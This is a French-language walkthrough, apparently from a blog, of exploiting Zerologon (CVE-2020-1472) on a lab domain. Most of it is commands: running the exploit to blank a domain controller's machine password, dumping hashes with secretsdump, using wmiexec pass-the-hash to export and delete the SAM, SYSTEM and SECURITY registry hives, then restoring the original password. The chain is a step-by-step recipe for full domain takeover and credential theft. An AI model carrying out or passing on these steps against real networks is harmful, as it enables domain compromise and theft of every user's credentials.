
Exploit pour CVE-2020-1472 (Zerologon) qui réinitialise le mot de passe du compte machine du contrôleur de domaine, permettant le vidage d'identifiants et l'escalade de privilèges vers administrateur de domaine.
@toc
Le principe est assez complexe. Si vous êtes intéressé, vous pouvez consulter l'article sur le lien suivant : https://www.freebuf.com/articles/system/249860.html
Il faut utiliser le fichier https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py pour remplacer le fichier nrpc local. Le chemin de stockage du fichier nrpc local est : C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py
python cve-2020-1472-exploit.py nom_du_compte_machine ip
Et on constate que le mot de passe du compte machine a été vidé, 31dc... représente un mot de passe vide.

Méthodes pour obtenir le compte machine ou le nom netbios de l'autre machine :
- net view
Ajoutez $ à ce nom de serveur pour obtenir le nom de la machine, par exemple lisi$ ou yukong$.
- nbtstat -A ip
Il existe plusieurs méthodes pour déterminer l'ip du contrôleur de domaine, par exemple :
- Voir les hôtes ayant le port 53 ouvert
- net time renvoie le nom d'hôte du contrôleur de domaine, puis ping
- La commande systeminfo affiche la valeur du domaine, ping pour obtenir l'ip du contrôleur de domaine
- Voir le DNS de votre propre hôte
python secretsdump.py test.com/[email protected] -no-pass
On constate qu'il est possible d'utiliser le compte machine avec mot de passe vide pour lire le hash des utilisateurs sur le contrôleur de domaine.
python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/[email protected] reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save
get system.save get sam.save get security.save
del /f system.save del /f sam.save del /f security.save
exit
Une fois l'exécution terminée, les fichiers téléchargés se trouvent dans le dossier où se trouve le script wmiexec :

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/[email protected] -use-vss Cette commande a échoué
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Sauvegardez le mot de passe dans le cercle rouge, c'est l'ancien mot de passe machine, c'est-à-dire aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a.
python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a

python secretsdump.py test.com/administrator:[email protected] -just-dc-user yukong$
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/[email protected] -just-dc-user yukong$
On constate que la restauration a réussi.